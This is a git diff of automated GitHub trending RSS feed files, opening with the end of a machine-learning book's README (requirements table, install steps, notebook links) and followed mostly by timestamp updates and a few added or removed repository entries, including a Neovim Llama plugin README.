<p>You can install the software required in any operating system by first installing <a href="https://jupyter.readthedocs.io/en/latest/install.html">Jupyter Notebook or Jupyter Lab</a> with the most recent version of Python, or install <a href="https://docs.anaconda.com/anaconda/">Anaconda</a> which can install everything at once. While hardware requirements for Jupyter are relatively modest, we recommend a machine with at least 4 cores of 2Ghz and 8Gb of RAM.</p>
<p>Alternatively, to installing the software locally, you can run the code in the cloud using Google Colab or another cloud notebook service.</p>
<p>Either way, the following packages are required to run the code in all the chapters (Google Colab has all the packages denoted with a ^):</p>
<table>
<thead>
<tr>
<th>Chapter</th>
<th>Software required</th>
<th>OS required</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 - 13</td>
<td>^ Python 3.6+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>1 - 13</td>
<td>^ matplotlib 3.2.2+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>1 - 13</td>
<td>^ scikit-learn 0.22.2+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>1 - 12</td>
<td>^ pandas 1.1.5+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>2 - 13</td>
<td>machine-learning-datasets 0.01.16+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>2 - 13</td>
<td>^ numpy 1.19.5+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>3 - 13</td>
<td>^ seaborn 0.11.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>3 - 13</td>
<td>^ tensorflow 2.4.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>5 - 12</td>
<td>shap 0.38.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>1, 5, 10, 12</td>
<td>^ scipy 1.4.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>5, 10-12</td>
<td>^ xgboost 0.90+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>6, 11, 12</td>
<td>^ lightgbm 2.2.3+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>7 - 9</td>
<td>alibi 0.5.5+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>10 - 13</td>
<td>^ tqdm 4.41.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>2, 9</td>
<td>^ statsmodels 0.10.2+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>3, 5</td>
<td>rulefit 0.3.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>6, 8</td>
<td>lime 0.2.0.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>7, 12</td>
<td>catboost 0.24.4+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>8, 9</td>
<td>^ Keras 2.4.3+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>11, 12</td>
<td>^ pydot 1.3.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>11, 12</td>
<td>xai 0.0.4+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>1</td>
<td>^ beautifulsoup4 4.6.3+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>1</td>
<td>^ requests 2.23.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>3</td>
<td>cvae 0.0.3+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>3</td>
<td>interpret 0.2.2+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>3</td>
<td>^ six 1.15.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>3</td>
<td>skope-rules 1.0.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>4</td>
<td>PDPbox 0.2.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>4</td>
<td>pycebox 0.0.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>5</td>
<td>alepython 0.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>5</td>
<td>tensorflow-docs 0.0.02+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>6</td>
<td>^ nltk 3.2.5+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>7</td>
<td>witwidget 1.7.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>8</td>
<td>^ opencv-python 4.1.2.30+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>8</td>
<td>^ scikit-image 0.16.2+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>8</td>
<td>tf-explain 0.2.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>8</td>
<td>tf-keras-vis 0.5.5+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>9</td>
<td>SALib 1.3.12+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>9</td>
<td>distython 0.0.3+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>10</td>
<td>^ mlxtend 0.14.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>10</td>
<td>sklearn-genetic 0.3.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>11</td>
<td>aif360==0.3.0</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>11</td>
<td>BlackBoxAuditing==0.1.54</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>11</td>
<td>dowhy 0.5.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>11</td>
<td>econml 0.9.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>11</td>
<td>^ networkx 2.5+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>12</td>
<td>bayesian-optimization 1.2.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>12</td>
<td>^ graphviz 0.10.1+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>12</td>
<td>tensorflow-lattice 2.0.7+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
<tr>
<td>13</td>
<td>adversarial-robustness-toolbox 1.5.0+</td>
<td>Windows, Mac OS X, and Linux (Any)</td>
</tr>
</tbody>
</table>
<p><strong>NOTE</strong>: the library <em>machine-learning-datasets</em> is the official name of what in the book is referred to as <em>mldatasets</em>. Due to naming conflicts, it had to be changed.</p>
<p>The exact versions of each library, as tested, can be found in the <a href="https://github.com/PacktPublishing/Interpretable-Machine-Learning-with-Python/raw/master/requirements.txt">requirements.txt</a> file and installed like this should you have a dedicated environment for them:</p>
<p><code>> pip install -r requirements.txt</code></p>
<p>You might get some conflicts specifically with libraries <code>cvae</code>, <code>alepython</code>, <code>pdpbox</code> and <code>xai</code>. If this is the case, try:</p>
<p><code>> pip install --no-deps -r requirements.txt</code></p>
<p>Alternatively, you can install libraries one chapter at a time inside of a local Jupyter environment using cells with <code>!pip install</code> or run all the code in Google Colab with the following links:</p>
<ul>
<li><a href="https://colab.research.google.com/drive/1rO79oCPGSz-XQaE1Ikcotdn32Xkb5N7S?usp=sharing">Chapter 01 - WeightPrediction.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/1CiUPbK_xgXFq6735O320a_3GUiuY4XGZ?usp=sharing">Chapter 02 - CVD.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/15z8dLNCzVbY7Y3Uq0GAAnSJ4nJgNmlPU?usp=sharing">Chapter 03 - FlightDelays.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/1HZQ4nz_TrIj31-9oMgAhVVfoZKsHPs8S?usp=sharing">Chapter 04 - BirthOrder.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/1t3jdsCzSwZcaxekjOofXoBQeqkpCsbCj?usp=sharing">Chapter 05 - FuelEfficiency.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/1_BtKFK-HxJ6GZfVJ4wbDwLM3Bvc6ZXS2?usp=sharing">Chapter 06 - ChocoRatings.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/1xG0FexLMPKkgHKPWYst-wY7WRPpqdOfm?usp=sharing">Chapter 07 - Recidivism_part1.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/1oGko32CqTQYCQo3OH_CEBEipF9svg7Gx?usp=sharing">Chapter 08 - FruitClassifier_part1.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/1g1ZXls0KbCQol16utbSRcPgfl0fM9s-U?usp=sharing">Chapter 08 - FruitClassifier_part2.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/1OZeg43hVqu1k_hjXFy5mnoBtUWnyVKFC?usp=sharing">Chapter 09 - Traffic.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/125Ehcke4VTrJp-qECVbvYn_0GNJsgVex?usp=sharing">Chapter 10 - Mailer.ipynb +</a></li>
<li><a href="https://colab.research.google.com/drive/13_8zsZMcgqU7V1VrpeMrqKwQgr623z6V?usp=sharing">Chapter 11 - CreditCardDefaults.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/14c95pjFgth5FLSAlzvSDnhRh9W9iDYdJ?usp=sharing">Chapter 12 - Recidivism_part2.ipynb +</a></li>
<li><a href="https://colab.research.google.com/drive/1qyOpum5OIY9jQJXaxkx6A6qedwb4mEzJ?usp=sharing">Chapter 13 - Masks_part1.ipynb</a></li>
<li><a href="https://colab.research.google.com/drive/1jK9YsSgVfiD4YXYDyoQ27uLT06f-SPYZ?usp=sharing">Chapter 13 - Masks_part2.ipynb +</a></li>
</ul>
<p>Remember to make sure you click on the menu item <strong>"File > Save a copy in Drive"</strong> as soon you open each link to ensure that your notebook is saved as you run it. Also, notebooks denoted with plus sign (+) are relatively compute-intensive, and will take an extremely long time to run on Google Colab but if you must go to <strong>"Runtime > Change runtime type"</strong> and select <strong>"High-RAM"</strong> for runtime shape. Otherwise, a better cloud enviornment or local environment is preferable.</p>
<p>We also provide a PDF file that has color images of the screenshots/diagrams used in this book. <a href="https://static.packt-cdn.com/downloads/9781800203907_ColorImages.pdf">Click here to download it</a>.</p>
<h3>Summary</h3>
<p>The book does much more than explain technical topics, but here's a summary of the chapters:</p>
<p><img src="https://raw.githubusercontent.com/PacktPublishing/Interpretable-Machine-Learning-with-Python/master/summary.png" alt="Chapters topics"></p>
<h3>Related products
<other books you may enjoy></other></h3>
<ul>
<li> <p>Automated Machine Learning <a href="https://www.packtpub.com/product/automated-machine-learning/9781800567689">[Packt]</a> <a href="https://www.amazon.com/dp/1800567685">[Amazon]</a></p> </li>
<li> <p>Hands-On Machine Learning with scikit-learn and Scientific Python Toolkits <a href="https://www.packtpub.com/product/hands-on-machine-learning-with-scikit-learn-and-scientific-python-toolkits/9781838826048">[Packt]</a> <a href="https://www.amazon.com/dp/1838826041">[Amazon]</a></p> </li>
</ul>
<h2>Get to Know the Authors</h2>
<p><strong>Serg Masís</strong> has been at the confluence of the internet, application development, and analytics for the last two decades. Currently, he's a Climate and Agronomic Data Scientist at Syngenta, a leading agribusiness company with a mission to improve global food security. Before that role, he co-founded a startup, incubated by Harvard Innovation Labs, that combined the power of cloud computing and machine learning with principles in decision-making science to expose users to new places and events. Whether it pertains to leisure activities, plant diseases, or customer lifetime value, Serg is passionate about providing the often-missing link between data and decision-making — and machine learning interpretation helps bridge this gap more robustly.</p>
<h3>Download a free PDF</h3>
<p><i>If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost.<br>Simply click on the link to claim your free PDF.</i></p>
<p align="center"> <a href="https://packt.link/free-ebook/9781800203907">https://packt.link/free-ebook/9781800203907 </a> </p>
\ No newline at end of file
diff --git a/kaitai-struct/daily/index.xml b/kaitai-struct/daily/index.xml
index a6f2c299562..409d29e440b 100644
--- a/kaitai-struct/daily/index.xml
+++ b/kaitai-struct/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Kaitai Struct Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:42Z
+ 2023-12-13T01:36:35Z
Daily Trending of Kaitai Struct in GitHub
\ No newline at end of file
diff --git a/kakounescript/daily/index.xml b/kakounescript/daily/index.xml
index 0a9d2cb698c..d36eee56487 100644
--- a/kakounescript/daily/index.xml
+++ b/kakounescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KakouneScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:41Z
+ 2023-12-13T01:36:36Z
Daily Trending of KakouneScript in GitHub
\ No newline at end of file
diff --git a/kicad-layout/daily/index.xml b/kicad-layout/daily/index.xml
index ac89190cf06..42ef2c49b7e 100644
--- a/kicad-layout/daily/index.xml
+++ b/kicad-layout/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KiCad Layout Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:44Z
+ 2023-12-13T01:36:39Z
Daily Trending of KiCad Layout in GitHub
\ No newline at end of file
diff --git a/kicad-legacy-layout/daily/index.xml b/kicad-legacy-layout/daily/index.xml
index 29c9655319e..e87b8fceb4b 100644
--- a/kicad-legacy-layout/daily/index.xml
+++ b/kicad-legacy-layout/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KiCad Legacy Layout Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:46Z
+ 2023-12-13T01:36:41Z
Daily Trending of KiCad Legacy Layout in GitHub
\ No newline at end of file
diff --git a/kicad-schematic/daily/index.xml b/kicad-schematic/daily/index.xml
index f70f274af7d..5b2793f2795 100644
--- a/kicad-schematic/daily/index.xml
+++ b/kicad-schematic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KiCad Schematic Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:45Z
+ 2023-12-13T01:36:42Z
Daily Trending of KiCad Schematic in GitHub
\ No newline at end of file
diff --git a/kit/daily/index.xml b/kit/daily/index.xml
index 2f487910733..643d92854c7 100644
--- a/kit/daily/index.xml
+++ b/kit/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Kit Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:48Z
+ 2023-12-13T01:36:45Z
Daily Trending of Kit in GitHub
\ No newline at end of file
diff --git a/kotlin/daily/index.xml b/kotlin/daily/index.xml
index 1a4e84f38b6..2e1fdc2e360 100644
--- a/kotlin/daily/index.xml
+++ b/kotlin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Kotlin Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:54Z
+ 2023-12-13T01:36:50Z
Daily Trending of Kotlin in GitHub
\ No newline at end of file
diff --git a/krl/daily/index.xml b/krl/daily/index.xml
index 64d339c4bda..3b1a19fb966 100644
--- a/krl/daily/index.xml
+++ b/krl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub KRL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:49Z
+ 2023-12-13T01:36:43Z
Daily Trending of KRL in GitHub
\ No newline at end of file
diff --git a/kusto/daily/index.xml b/kusto/daily/index.xml
index b341612a6bf..29aaf3b9e4c 100644
--- a/kusto/daily/index.xml
+++ b/kusto/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Kusto Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:50Z
+ 2023-12-13T01:36:44Z
Daily Trending of Kusto in GitHub
\ No newline at end of file
diff --git a/kvlang/daily/index.xml b/kvlang/daily/index.xml
index e6031ef77c3..ce99a1f60d3 100644
--- a/kvlang/daily/index.xml
+++ b/kvlang/daily/index.xml
@@ -1,7 +1,7 @@
GitHub kvlang Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:52:59Z
+ 2023-12-13T01:37:01Z
Daily Trending of kvlang in GitHub
\ No newline at end of file
diff --git a/labview/daily/index.xml b/labview/daily/index.xml
index 314f380d715..633f83b83ee 100644
--- a/labview/daily/index.xml
+++ b/labview/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LabVIEW Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:00Z
+ 2023-12-13T01:36:59Z
Daily Trending of LabVIEW in GitHub
\ No newline at end of file
diff --git a/lark/daily/index.xml b/lark/daily/index.xml
index 7dbefe9da93..4be5cab10b5 100644
--- a/lark/daily/index.xml
+++ b/lark/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Lark Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:02Z
+ 2023-12-13T01:36:58Z
Daily Trending of Lark in GitHub
\ No newline at end of file
diff --git a/lasso/daily/index.xml b/lasso/daily/index.xml
index 52ee10c06bb..8f44ebebac8 100644
--- a/lasso/daily/index.xml
+++ b/lasso/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Lasso Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:01Z
+ 2023-12-13T01:37:00Z
Daily Trending of Lasso in GitHub
\ No newline at end of file
diff --git a/latte/daily/index.xml b/latte/daily/index.xml
index 657a14fbbf4..e1a635c2a3c 100644
--- a/latte/daily/index.xml
+++ b/latte/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Latte Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:03Z
+ 2023-12-13T01:37:02Z
Daily Trending of Latte in GitHub
\ No newline at end of file
diff --git a/lean/daily/index.xml b/lean/daily/index.xml
index c42fe2a3e90..730e61aac6f 100644
--- a/lean/daily/index.xml
+++ b/lean/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Lean Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:04Z
+ 2023-12-13T01:37:05Z
Daily Trending of Lean in GitHub
\ No newline at end of file
diff --git a/less/daily/index.xml b/less/daily/index.xml
index 69703d2c3ce..18385410e23 100644
--- a/less/daily/index.xml
+++ b/less/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Less Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:07Z
+ 2023-12-13T01:37:04Z
Daily Trending of Less in GitHub
-
- privau/searxng
- 2023-12-12T01:53:07Z
- tag:github.com,2023-12-12:/privau/searxng
-
- <p>Builds a custom SearXNG image, a privacy-respecting metasearch engine.</p><hr>
-
\ No newline at end of file
diff --git a/lex/daily/index.xml b/lex/daily/index.xml
index 1359af289af..38e390bf5fb 100644
--- a/lex/daily/index.xml
+++ b/lex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Lex Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:05Z
+ 2023-12-13T01:37:04Z
Daily Trending of Lex in GitHub
\ No newline at end of file
diff --git a/lfe/daily/index.xml b/lfe/daily/index.xml
index d0827df03c0..64b65db30ff 100644
--- a/lfe/daily/index.xml
+++ b/lfe/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LFE Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:09Z
+ 2023-12-13T01:37:07Z
Daily Trending of LFE in GitHub
\ No newline at end of file
diff --git a/ligolang/daily/index.xml b/ligolang/daily/index.xml
index dde9b29821f..e3833bf48f9 100644
--- a/ligolang/daily/index.xml
+++ b/ligolang/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LigoLANG Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:08Z
+ 2023-12-13T01:37:07Z
Daily Trending of LigoLANG in GitHub
\ No newline at end of file
diff --git a/lilypond/daily/index.xml b/lilypond/daily/index.xml
index ecc28d274dd..bdd3cb20e57 100644
--- a/lilypond/daily/index.xml
+++ b/lilypond/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LilyPond Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:11Z
+ 2023-12-13T01:37:09Z
Daily Trending of LilyPond in GitHub
\ No newline at end of file
diff --git a/limbo/daily/index.xml b/limbo/daily/index.xml
index 1b7931d04c5..b1e3dcd09b8 100644
--- a/limbo/daily/index.xml
+++ b/limbo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Limbo Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:10Z
+ 2023-12-13T01:37:08Z
Daily Trending of Limbo in GitHub
\ No newline at end of file
diff --git a/linker-script/daily/index.xml b/linker-script/daily/index.xml
index b33256bba2f..c3c8c137aa0 100644
--- a/linker-script/daily/index.xml
+++ b/linker-script/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Linker Script Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:15Z
+ 2023-12-13T01:37:16Z
Daily Trending of Linker Script in GitHub
\ No newline at end of file
diff --git a/linux-kernel-module/daily/index.xml b/linux-kernel-module/daily/index.xml
index a837c4aad9e..5f312b9479c 100644
--- a/linux-kernel-module/daily/index.xml
+++ b/linux-kernel-module/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Linux Kernel Module Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:13Z
+ 2023-12-13T01:37:10Z
Daily Trending of Linux Kernel Module in GitHub
\ No newline at end of file
diff --git a/liquid/daily/index.xml b/liquid/daily/index.xml
index 3a33a686711..25040afd4c5 100644
--- a/liquid/daily/index.xml
+++ b/liquid/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Liquid Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:16Z
+ 2023-12-13T01:37:14Z
Daily Trending of Liquid in GitHub
+
+ booqable/kylie-theme
+ 2023-12-13T01:37:14Z
+ tag:github.com,2023-12-13:/booqable/kylie-theme
+
+ <p></p><hr>
+
\ No newline at end of file
diff --git a/literate-agda/daily/index.xml b/literate-agda/daily/index.xml
index d5f0b2fda2e..ed5142712d7 100644
--- a/literate-agda/daily/index.xml
+++ b/literate-agda/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Literate Agda Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:12Z
+ 2023-12-13T01:37:12Z
Daily Trending of Literate Agda in GitHub
\ No newline at end of file
diff --git a/literate-coffeescript/daily/index.xml b/literate-coffeescript/daily/index.xml
index f019f10fea6..005885483ee 100644
--- a/literate-coffeescript/daily/index.xml
+++ b/literate-coffeescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Literate CoffeeScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:17Z
+ 2023-12-13T01:37:20Z
Daily Trending of Literate CoffeeScript in GitHub
\ No newline at end of file
diff --git a/literate-haskell/daily/index.xml b/literate-haskell/daily/index.xml
index ec81746a667..91c61e0cb41 100644
--- a/literate-haskell/daily/index.xml
+++ b/literate-haskell/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Literate Haskell Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:19Z
+ 2023-12-13T01:37:17Z
Daily Trending of Literate Haskell in GitHub
\ No newline at end of file
diff --git a/livescript/daily/index.xml b/livescript/daily/index.xml
index 8d6709422a7..a805ec07b24 100644
--- a/livescript/daily/index.xml
+++ b/livescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LiveScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:20Z
+ 2023-12-13T01:37:20Z
Daily Trending of LiveScript in GitHub
\ No newline at end of file
diff --git a/llvm/daily/index.xml b/llvm/daily/index.xml
index 6b16d17affa..bc877928a3e 100644
--- a/llvm/daily/index.xml
+++ b/llvm/daily/index.xml
@@ -1,7 +1,14 @@
GitHub LLVM Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:18Z
+ 2023-12-13T01:37:18Z
Daily Trending of LLVM in GitHub
+
+ V1nUn1H4ck1ngClub/VHC_CTF_2023
+ 2023-12-13T01:37:18Z
+ tag:github.com,2023-12-13:/V1nUn1H4ck1ngClub/VHC_CTF_2023
+
+ <p>Codebase for challenges in VHC_CTF_2023</p><hr>
+
\ No newline at end of file
diff --git a/logos/daily/index.xml b/logos/daily/index.xml
index c3eec9b9368..7f61de6d73b 100644
--- a/logos/daily/index.xml
+++ b/logos/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Logos Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:24Z
+ 2023-12-13T01:37:25Z
Daily Trending of Logos in GitHub
\ No newline at end of file
diff --git a/logtalk/daily/index.xml b/logtalk/daily/index.xml
index abcb0a19588..b6caee210ea 100644
--- a/logtalk/daily/index.xml
+++ b/logtalk/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Logtalk Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:21Z
+ 2023-12-13T01:37:22Z
Daily Trending of Logtalk in GitHub
\ No newline at end of file
diff --git a/lolcode/daily/index.xml b/lolcode/daily/index.xml
index 37532a0f8ea..922449d37fb 100644
--- a/lolcode/daily/index.xml
+++ b/lolcode/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LOLCODE Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:22Z
+ 2023-12-13T01:37:24Z
Daily Trending of LOLCODE in GitHub
\ No newline at end of file
diff --git a/lookml/daily/index.xml b/lookml/daily/index.xml
index 405f079aa5f..ca4a004877c 100644
--- a/lookml/daily/index.xml
+++ b/lookml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LookML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:25Z
+ 2023-12-13T01:37:23Z
Daily Trending of LookML in GitHub
\ No newline at end of file
diff --git a/loomscript/daily/index.xml b/loomscript/daily/index.xml
index a80a632ac79..c3d1a6e5b68 100644
--- a/loomscript/daily/index.xml
+++ b/loomscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LoomScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:27Z
+ 2023-12-13T01:37:29Z
Daily Trending of LoomScript in GitHub
\ No newline at end of file
diff --git a/lsl/daily/index.xml b/lsl/daily/index.xml
index d88b4215f99..9c37b201408 100644
--- a/lsl/daily/index.xml
+++ b/lsl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LSL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:26Z
+ 2023-12-13T01:37:30Z
Daily Trending of LSL in GitHub
\ No newline at end of file
diff --git a/ltspice-symbol/daily/index.xml b/ltspice-symbol/daily/index.xml
index f360f347d03..530f423655f 100644
--- a/ltspice-symbol/daily/index.xml
+++ b/ltspice-symbol/daily/index.xml
@@ -1,7 +1,7 @@
GitHub LTspice Symbol Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:53:28Z
+ 2023-12-13T01:37:27Z
Daily Trending of LTspice Symbol in GitHub
\ No newline at end of file
diff --git a/lua/daily/index.xml b/lua/daily/index.xml
new file mode 100644
index 00000000000..eaa70f24f20
--- /dev/null
+++ b/lua/daily/index.xml
@@ -0,0 +1,28 @@
+
+ GitHub Lua Daily Trending
+ http://mshibanami.github.io/GitHubTrendingRSS
+ 2023-12-13T01:37:34Z
+ Daily Trending of Lua in GitHub
+
+
+ jpmcb/nvim-llama
+ 2023-12-13T01:37:34Z
+ tag:github.com,2023-12-13:/jpmcb/nvim-llama
+
+ <p>🦙 Llama 2 and llama.cpp interfaces for Neovim</p><hr><h1>🦙 nvim-llama</h1>
<p><em><a href="https://ai.meta.com/llama/">Llama 2</a> and <a href="https://github.com/ggerganov/llama.cpp/">llama.cpp</a> interfaces for Neovim</em></p>
<h1>Project status</h1>
<p>🏗️ 👷 Warning! Under active development!! 👷 🚧</p>
<p>This plugin was created as a proof of concept plugin for running large language model technology within Neovim on consumer hardware. Using llama.cpp and a downloaded model showed that this goal is indeed possible.</p>
<p>But distributing, building, maintaining, and running a large C/C++ project (llama.cpp) is abit out of scope of what makes sense for a liteweight nvim plugin.</p>
<p>Therefore, this project will be transitiion to use Ollama, a llama.cpp runner in docker. Ideally, this means that all you'll need to run nvim-llama is docker!</p>
<p>You can expect these changes in Q1 2024.</p>
<h1>Installation</h1>
<p>Use your favorite package manager to install the plugin:</p>
<h3>Packer</h3>
<pre><code class="language-lua"> use 'jpmcb/nvim-llama'
</code></pre>
<h3>lazy.nvim</h3>
<pre><code class="language-lua">{
'jpmcb/nvim-llama'
}
</code></pre>
<h3>vim-plug</h3>
<pre><code class="language-lua">Plug 'jpmcb/nvim-llama'
</code></pre>
<h1>Setup & configuration</h1>
<p>In your <code>init.vim</code>, setup the plugin:</p>
